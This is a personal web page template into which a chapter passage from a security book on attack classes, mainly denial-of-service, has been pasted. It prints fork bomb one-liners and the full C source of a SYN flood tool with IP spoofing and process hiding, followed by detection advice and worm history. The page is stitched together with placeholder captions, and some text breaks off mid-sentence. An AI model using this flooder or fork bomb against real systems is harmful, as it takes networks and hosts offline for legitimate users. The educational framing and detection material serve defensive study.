Custom Layout:
     
Home Page

About Page

Favorite Links Page

Photo Page

Custom Page

 

Laws of Security

Laws of security

Applying laws of security in evaluating

system security

Using laws of security to guide your

research

Exceptions to the rules

 


This is one of my favorite images
This is my good friend Hal. I took this picture on his birthday. I think he likes to be in pictures.
  .What Are the Laws of Security?

The list presented here is not complete. There may be other laws that are outside

the specific scope of this book, or that the authors aren’t aware of. New

laws will be identified in the future. You may find your own that are specific to

your job and the way it works. Here are some of the most generally applicable

information security laws:

Client-side security doesn’t work.

You can’t exchange encryption keys without a shared piece of information.

Viruses and trojans cannot be 100 percent protected against.

Firewalls cannot protect you 100 percent from attack.

Secret cryptographic algorithms are not secure.

If a key isn’t required, you don’t have encryption; you have encoding.

Passwords cannot be securely stored on the client unless there is

another password to protect them.

In order for a system to begin to be considered secure, it must

undergo an independent security audit.

Security through obscurity doesn’t work.

People believe that something is more secure simply because it’s new.

What can go wrong, will go wrong.

What Are the Classes of Attack?.

The classes of attack that are examined in this chapter are denial-of-service,

information leakage, file creation, reading, modification and removal, misinformation,

special file/database access, and elevation of privileges. Let’s start

with denial-of-service.

Denial-of-Service

What is a denial-of-service (DoS) attack? A DoS attack takes place when availability

to a resource is intentionally blocked or degraded due to maliciousness.

In other words, the attack impedes the availability of the resource to its regular

authorized users. The attack may concentrate on degrading processes,

degrading storage capability, destroying files to render the resource unusable,

or shutting down parts of the system or processes. Let’s take a closer look at

each of these items.

Degrading processes occurs when the attacker reduces performance by

overloading the target system, by either spawning multiple processes to eat up

all available resources of the host system, or by spawning enough processes to

overload the central processing unit (CPU). A simple UNIX fork bomb can be

used to degrade processes on a system by recursively spawning copies of itself

until the system runs out of process table entries. The fork bomb is easy to

implement using the shell or C. The code for shell is:

($0 & $0 &)

The code for C is:

(main() {for(;;)fork();})

The degrading processes attack can also be directed at a network application,

such as File Transfer Protocol (FTP) or Simple Mail Transfer Protocol

(SMTP), or at a network service, such as Internet Protocol (IP) or the Internet

Control Message Protocol (ICMP). The attacker sends a flood of network

68 Chapter 3 • Classes of Attack

www.syngress.com

requests to the target regardless of whether he or she is attacking a network

application or a network service.

Examples of denial-of-service attacks that degrade processes are snork and

chargen. Both of these DoSs affect Windows NT boxes (unless Service Pack 4

or higher has been applied). Snork enables the attacker to send spoofed

Remote Procedure Call (RPC) datagrams to the User Datagram Protocol (UDP)

destination port 135, giving it the appearance that the “attacked” RPC server

sent bad data to another RPC server. The second server sends a reject packet

back to the “attacked” server that, in turn, replies with another reject packet,

thereby creating a loop that is not broken until a packet is dropped, which

could take a few minutes. If the spoofed packet is sent to several different

computers, then the “attacked” server could waste a considerable amount of

processor resources and network bandwidth that otherwise could be used by

legitimate network users to accomplish their mission. The chargen DoS functions

against Windows NT systems that have the Simple TCP/IP Services

installed. Basically, what happens is that a flood of UDP datagrams is sent

from a spoofed source IP address to port 19 (the chargen port) to the subnet

broadcast address. Affected Windows NT systems respond to each broadcast,

thereby creating a flood of UDP datagrams on the network.

Two more examples of this type of DoS are smurf and the SYN (synchronization)

flood. The smurf DoS performs a network-level attack against the target

host. However, unlike other DoSs, this attack relies on the intermediary, a

router, to help as shown in Figure 3.1. The attacker, spoofing the source IP

address of the target host, generates a large amount of ICMP echo traffic

Classes of Attack • Chapter 3 69

www.syngress.com

Attacker sends ICMP echo

packets (from the spoofed source

address of the intended victim)

to a broadcast address

Victim receives all the

ICMP echo replies

Router

Internet

Figure 3.1 Diagram of a smurf attack.

directed toward IP broadcast addresses. The router, also known as a smurf

amplifier, converts the IP broadcast to a layer 2 broadcast and sends it on its

way. Each host that receives the broadcast responds back to the real source IP

with an echo reply. Depending on the number of hosts on the network both

the router and target host can be inundated with traffic, resulting in degraded

network service availability.

The SYN flood is accomplished by sending Transmission Control Protocol

(TCP) connection requests faster than a system can process them. The target

system sets aside resources to track each connection, so a great number of

incoming SYNs can cause the target host to run out of resources for new legitimate

connections. The source IP address is, as usual, spoofed so that when

the target system attempts to respond with the second portion of the three-way

handshake, a SYN-ACK (synchronization-acknowledgment), it receives no

response. Some operating systems will retransmit the SYN-ACK a number of

times before releasing the resources back to the system. Here is an example of

exploit code written by Zakath that creates a SYN flood. This SYN flooder

allows you to select an address the packets will be spoofed from, as well as the

ports to flood on the victim’s system. The code is presented here for educational

purposes only, and is not to be used to create a DoS on any live networks.

This code is available on several Internet sites, so I am not giving away

any “secrets” by printing it here.

/* Syn Flooder by Zakath

* TCP Functions by trurl_ (thanks man).

* Some more code by Zakath.

* Speed/Misc Tweaks/Enhancments — ultima

* Nice Interface — ultima

* Random IP Spoofing Mode — ultima

* How To Use:

* Usage is simple. srcaddr is the IP the packets will be spoofed from.

* dstaddr is the target machine you are sending the packets to.

* low and high ports are the ports you want to send the packets to.

* Random IP Spoofing Mode: Instead of typing in a source address,

* just use '0'. This will engage the Random IP Spoofing mode, and

* the source address will be a random IP instead of a fixed ip.

* Released: [4.29.97]

* To compile: cc -o synk4 synk4.c

*

*/

#include <signal.h>

#include <stdio.h>

#include <netdb.h>

#include <sys/types.h>

#include <sys/time.h>

#include <netinet/in.h>

#include <linux/ip.h>

#include <linux/tcp.h>

/* These can be handy if you want to run the flooder while the admin is on

* this way, it makes it MUCH harder for him to kill your flooder */

/* Ignores all signals except Segfault */

70 Chapter 3 • Classes of Attack

www.syngress.com

// #define HEALTHY

/* Ignores Segfault */

// #define NOSEGV

/* Changes what shows up in ps -aux to whatever this is defined to */

// #define HIDDEN "vi .cshrc"

#define SEQ 0x28376839

#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))

unsigned long send_seq, ack_seq, srcport;

char flood = 0;

int sock, ssock, curc, cnt;

/* Check Sum */

unsigned short

ip_sum (addr, len)

u_short *addr;

int len;

{

register int nleft = len;

register u_short *w = addr;

register int sum = 0;

u_short answer = 0;

while (nleft > 1)

{

sum += *w++;

nleft -= 2;

}

if (nleft == 1)

{

*(u_char *) (&answer) = *(u_char *) w;

sum += answer;

}

sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */

sum += (sum >> 16); /* add carry */

answer = ~sum; /* truncate to 16 bits */

return (answer);

}

void sig_exit(int crap)

{

#ifndef HEALTHY

printf("_[H_[JSignal Caught. Exiting Cleanly. ");

exit(crap);

#endif

}

void sig_segv(int crap)

{

#ifndef NOSEGV

printf("_[H_[JSegmentation Violation Caught. Exiting Cleanly. ");

exit(crap);

#endif

}

unsigned long getaddr(char *name) {

struct hostent *hep;

Classes of Attack • Chapter 3 71

www.syngress.com

hep=gethostbyname(name);

if(!hep) {

fprintf(stderr, "Unknown host %s ", name);

exit(1);

}

return *(unsigned long *)hep->h_addr;

}

void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) {

char buf[65536];

struct { /* rfc 793 tcp pseudo-header */

unsigned long saddr, daddr;

char mbz;

char ptcl;

unsigned short tcpl;

} ph;

struct sockaddr_in sin; /* how necessary is this, given that the destination

address is already in the ip header? */

ph.saddr=ih->saddr;

ph.daddr=ih->daddr;

ph.mbz=0;

ph.ptcl=IPPROTO_TCP;

ph.tcpl=htons(sizeof(*th)+dlen);

memcpy(buf, &ph, sizeof(ph));

memcpy(buf+sizeof(ph), th, sizeof(*th));

memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);

memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);

th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);

memcpy(buf, ih, 4*ih->ihl);

memcpy(buf+4*ih->ihl, th, sizeof(*th));

memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen);

memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4);

ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1);

memcpy(buf, ih, 4*ih->ihl);

sin.sin_family=AF_INET;

sin.sin_port=th->dest;

sin.sin_addr.s_addr=ih->daddr;

if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0, &sin, sizeof(sin))<0) {

printf("Error sending syn packet. "); perror("");

exit(1);

}

}

unsigned long spoof_open(unsigned long my_ip, unsigned long their_ip, unsigned short

port) {

int i, s;

struct iphdr ih;

72 Chapter 3 • Classes of Attack

www.syngress.com

struct tcphdr th;

struct sockaddr_in sin;

int sinsize;

unsigned short myport=6969;

char buf[1024];

struct timeval tv;

ih.version=4;

ih.ihl=5;

ih.tos=0; /* XXX is this normal? */

ih.tot_len=sizeof(ih)+sizeof(th);

ih.id=htons(random());

ih.frag_off=0;

ih.ttl=30;

ih.protocol=IPPROTO_TCP;

ih.check=0;

ih.saddr=my_ip;

ih.daddr=their_ip;

th.source=htons(srcport);

th.dest=htons(port);

th.seq=htonl(SEQ);

th.doff=sizeof(th)/4;

th.ack_seq=0;

th.res1=0;

th.fin=0;

th.syn=1;

th.rst=0;

th.psh=0;

th.ack=0;

th.urg=0;

th.res2=0;

th.window=htons(65535);

th.check=0;

th.urg_ptr=0;

gettimeofday(&tv, 0);

send_tcp_segment(&ih, &th, "", 0);

send_seq = SEQ+1+strlen(buf);

}

void upsc()

{

int i;

char schar;

switch(cnt)

{

case 0:

{

schar = '|';

break;

}

case 1:

{

Classes of Attack • Chapter 3 73

www.syngress.com

schar = '/';

break;

}

case 2:

{

schar = '-';

break;

}

case 3:

{

schar = '\';

break;

}

case 4:

{

schar = '|';

cnt = 0;

break;

}

}

printf("_[H_[1;30m[_[1;31m%c_[1;30m]_[0m %d", schar, curc);

cnt++;

for(i=0; i<26; i++) {

i++;

curc++;

}

}

void init_signals()

{

// Every Signal known to man. If one gives you an error, comment it out!

signal(SIGHUP, sig_exit);

signal(SIGINT, sig_exit);

signal(SIGQUIT, sig_exit);

signal(SIGILL, sig_exit);

signal(SIGTRAP, sig_exit);

signal(SIGIOT, sig_exit);

signal(SIGBUS, sig_exit);

signal(SIGFPE, sig_exit);

signal(SIGKILL, sig_exit);

signal(SIGUSR1, sig_exit);

signal(SIGSEGV, sig_segv);

signal(SIGUSR2, sig_exit);

signal(SIGPIPE, sig_exit);

signal(SIGALRM, sig_exit);

signal(SIGTERM, sig_exit);

signal(SIGCHLD, sig_exit);

signal(SIGCONT, sig_exit);

signal(SIGSTOP, sig_exit);

signal(SIGTSTP, sig_exit);

signal(SIGTTIN, sig_exit);

signal(SIGTTOU, sig_exit);

signal(SIGURG, sig_exit);

signal(SIGXCPU, sig_exit);

signal(SIGXFSZ, sig_exit);

signal(SIGVTALRM, sig_exit);

74 Chapter 3 • Classes of Attack

www.syngress.com

signal(SIGPROF, sig_exit);

signal(SIGWINCH, sig_exit);

signal(SIGIO, sig_exit);

signal(SIGPWR, sig_exit);

}

main(int argc, char **argv) {

int i, x, max, floodloop, diff, urip, a, b, c, d;

unsigned long them, me_fake;

unsigned lowport, highport;

char buf[1024], *junk;

init_signals();

#ifdef HIDDEN

for (i = argc-1; i >= 0; i—)

/* Some people like bzero...i prefer memset :) */

memset(argv[i], 0, strlen(argv[i]));

strcpy(argv[0], HIDDEN);

#endif

if(argc<5) {

printf("Usage: %s srcaddr dstaddr low high ", argv[0]);

printf(" If srcaddr is 0, random addresses will be used ");

exit(1);

}

if( atoi(argv[1]) == 0 )

urip = 1;

else

me_fake=getaddr(argv[1]);

them=getaddr(argv[2]);

lowport=atoi(argv[3]);

highport=atoi(argv[4]);

srandom(time(0));

ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

if(ssock<0) {

perror("socket (raw)");

exit(1);

}

sock=socket(AF_INET, SOCK_RAW, IPPROTO_TCP);

if(sock<0) {

perror("socket");

exit(1);

}

junk = (char *)malloc(1024);

max = 1500;

i = 1;

diff = (highport - lowport);

if (diff > -1)

{

printf("_[H_[J Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991 The Regents of

the University of California. All Rights Reserved.");

for (i=1;i>0;i++)

{

srandom((time(0)+i));

Classes of Attack • Chapter 3 75

www.syngress.com

srcport = getrandom(1, max)+1000;

for (x=lowport;x<=highport;x++)

{

if ( urip == 1 )

{

a = getrandom(0, 255);

b = getrandom(0, 255);

c = getrandom(0, 255);

d = getrandom(0, 255);

sprintf(junk, "%i.%i.%i.%i", a, b, c, d);

me_fake = getaddr(junk);

}

spoof_open(/*0xe1e26d0a*/ me_fake, them, x);

/* A fair delay. Good for a 28.8 connection */

usleep(300);

if (!(floodloop = (floodloop+1)%(diff+1))) {

upsc(); fflush(stdout);

}

}

}

}

else {

printf("High port must be greater than Low port. ");

exit(1);

}

}

You can detect a SYN flood coming from the preceding code by using a

variety of tools such as the netstat command shown in Figure 3.2. On several

operating system platforms, using the –n parameter displays addresses and

port numbers in numerical format, and the –p switch allows you to select only

the protocol you are interested in viewing. This prevents all UDP connections

from being shown so that you can view only the connections you are interested

in for this particular attack. Check the man page for the version of netstat that

is available on your operating system to ensure that you use the correct

switches.

Based on the output of netstat, you may decide to use a packet capture

utility to do further analysis. Figure 3.3 shows an incoming SYN flood from the

“address” 10.40.0.109. Notice in the Time column the rate that the SYN

packets are coming in to the target. At the five-second point in the capture, 27

SYN packets are received in one-half second.

Degrading storage capability occurs when the attacker uses all the given

storage resources on the target machine, such as by spamming a mail server

with either tons of mail and/or attachments till it runs out of storage space.

The Love Letter worm has been seen recently within organizations that use

Windows NT and Exchange Server as their mail platform. This attack was fairly

simple: Visual Basic script replicated itself out to each addressee in the Global

Address List each time it was opened (or previewed). For large organizations, it

Add your link here

. The Internet Worm of 1988

The first widespread DoS was the infamous Internet Worm of 1988

created by Robert Morris, Jr. The Internet Worm was released on

November 2, 1988, and not only did the worm deny service to those

infected by it, but it also caused a denial-of-service for systems it did

not affect because of sites shutting themselves off from the Internet for

fear of infection. Note that DoS was not the intended purpose of the

worm; sites were flooded due to a bug in the worm.

I recently witnessed the same effects of the Love Letter worm as it

caused an organization I am aware of to shut its mail servers down for six

days from the vast paranoia surrounding the worm. Thus, it was successful

at creating a DoS from fear. Personally, I do not agree with this type of

knee-jerk reaction, and all managers should carefully consider whether

they really do need to shut down portions of their operation and not do

it purely out of blind fear. I have never shut down any part of my operations

unless there was a legitimate reason to do so (equipment upgrades,

etc.), and fear of the unknown is not a valid reason. If you are going to act

in that manner, you need to find a job in a different line of work.

One more interesting item about the Internet Worm of 1988: It was

the reason the Computer Emergency Response Team (CERT) was established

at Carnegie Mellon University.

secuirty.freewebspace.com/Black^^Bird (files)


This is one of my favorite images
This is my good friend Hal. I took this picture on his birthday. I think he likes to be in pictures.


This is one of my favorite images
This is my good friend Hal. I took this picture on his birthday. I think he likes to be in pictures.